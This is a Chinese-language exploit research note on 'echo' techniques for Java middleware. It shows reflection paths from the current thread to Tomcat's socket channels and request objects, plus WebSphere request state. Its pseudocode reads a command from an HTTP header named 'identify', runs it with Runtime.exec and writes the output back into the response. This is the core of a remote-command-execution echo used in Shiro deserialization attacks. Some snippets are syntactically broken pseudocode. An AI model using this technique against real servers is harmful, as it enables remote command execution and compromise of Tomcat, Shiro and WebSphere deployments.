中间件context回显方式
1 2 3 4 5 6 7 8
   |  1. Thread -> getCurrentWork --> context 2. Thread --> getCurrentWork --> connectionHandler --> context
  1. org.springframework.web.context.request.RequestContextHolder  2. org.springframework.webflow.context.ExternalContextHolder
  1. Linux平台下,利用文件描述符回显
 
  | 
 
reference:00theway
回显研究
1.Get tomcat Channel
从Thread.currentThread()出发,发现当前线程有关FD描述符的路径:
1 2 3
   | Thread-->target-->selector[SelectorImpl]-->fdMap-->key-value-->SocketChannel
  [SelectorImpl针对不同平台有不同实现:EpollSelectorImpl(linux)、WindowsSelectorImpl(windows)、KQueueSelectorImpl(MacOSX)]
   | 
 

通过这种方式可以跨平台对SocketChannel进行写入操作,达到回显的效果。
缺点:对http的所有连接都会回写,无法筛选当前请求的唯一连接。
伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
   | Thread[] threads = Thread.currentThread().getThreadGroup(); Field Ttarget = Thread.class.getDeclaredField("target"); for(Thread t:threads){     //select http     NioEndpoint.Poller  poller = (NioEndpoint.Poller)Ttarget.get(t);     Object selector = poller.getSelector();     HashMap<Integer, Object> fdMapValue = selector.getClass().getDeclaredField("fdMap").get(selector);     for(Object o :fdMapValue.values()){         SelectionKeyImpl selectionKeyImpl = (SelectionKeyImpl) = o.getClass().getDeclaredField("ski").get(o);         SocketChannel selChImpl = (SocketChannel) selectionKeyImpl.channel();         selChImpl.write(ByteBuffer.wrap("hello\n".getBytes()));     } }
   | 
 
效果

Tips
1 2 3 4 5 6
   | 在Tomcat中,Connector作为桥梁连接Server和Engine,Connector在接受客户端的请求后,把请求委托给Engine容器去处理。 而Connector的内部使用Endpoint进行处理,根据Tomcat版本不同有不同的Endpoint实现方式,包括:JIOEndpoint、AprEndpoint、NioEndpoint 3种
  如上面Thread的target对象就是NioEndpoint类型。 在tomcat8.0之后采用NioEndpoint实现,而tomcat7采用JIOEndpoint实现。因此,上面的利用方式只适用于tomcat8.0之后的版本 有兴趣的师傅可以通过这种思路尝试一下其他的版本
   | 
 
2.Get Tomcat Request
从Thread.currentThread()出发,发现线程有关RequestInfo的路径:
1 2 3
   | Thread-->target-->this$0-->handler-->global-->processors-->0[RequestInfo]-->req
  目前测试tomcat6.*、tomcat7.*、tomcat8.*均存在该路径,不过代码调用实现稍稍不同。
   | 
 

相比于Tomcat Channel回显,这种方式可以获取到Request信息,可以通过header中的字段进行筛选,达到一对一回写的效果
伪代码:
1 2 3 4 5 6 7 8
   | for (Thread t : (Thread[])(Thread.currentThread().getThreadGroup().getFieldInvoke("threads"))){ 	//http select 	ArrayList<?> rinfs= (ArrayList<?>)t.getFieldInvoke("target").getFieldInvoke("this$0").getFieldInvoke("handler").getFieldInvoke("global").getFieldInvoke("processors"); 	Request req = (Request)(rinfs.get(0).getFieldInvoke("req")); 	String cmd = req.getHeader("identify"); 	ByteChunk byteChunk = new ByteChunk(Runtime.getRuntime().exec(cmd)) 	req.getResponse().doWrite(byteChunk); }
  | 
 
效果

孵化 Shiro回显
利用“Get Tomcat Request”思路,经过极致压缩,基本实现通版本的Shiro回显效果。

彩蛋 websphere回显
尚未实例测试
1 2 3 4 5 6
   | Thread t = Thread.currentThread(); Field wsThreadLocals = t.getClass().getDeclaredField("wsThreadLocals"); wsThreadLocals.setAccessible(true); Object[] obs = (Object[])wsThreadLocals.get(t); WebContainerRequestState wr = (WebContainerRequestState)obs[36]; wr.getCurrentThreadsIExtendedRequest().getRequestURL();
   |